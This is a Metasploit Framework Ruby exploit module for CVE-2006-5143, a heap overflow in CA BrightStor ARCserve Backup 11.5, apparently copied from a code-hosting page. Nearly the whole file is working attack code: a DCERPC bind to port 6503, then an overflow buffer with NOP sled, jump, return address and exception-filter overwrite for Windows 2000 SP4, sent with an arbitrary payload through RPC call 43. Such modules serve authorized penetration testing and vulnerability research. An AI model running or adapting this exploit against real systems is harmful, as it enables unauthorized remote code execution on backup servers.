81 lines
2.0 KiB
Ruby
81 lines
2.0 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'CA BrightStor ARCserve Message Engine Heap Overflow',
|
|
'Description' => %q{
|
|
This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup
|
|
11.5. By sending a specially crafted RPC request, an attacker could overflow the
|
|
buffer and execute arbitrary code.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2006-5143' ],
|
|
[ 'OSVDB', '29533' ],
|
|
[ 'BID', '20365' ],
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 800,
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],
|
|
],
|
|
'DisclosureDate' => 'Oct 05 2006',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(6503)
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
# straight forward heap stuffz
|
|
sploit = make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V')
|
|
sploit << [ target['UEF'] ].pack('V') + payload.encoded
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
begin
|
|
dcerpc_call(43, sploit)
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|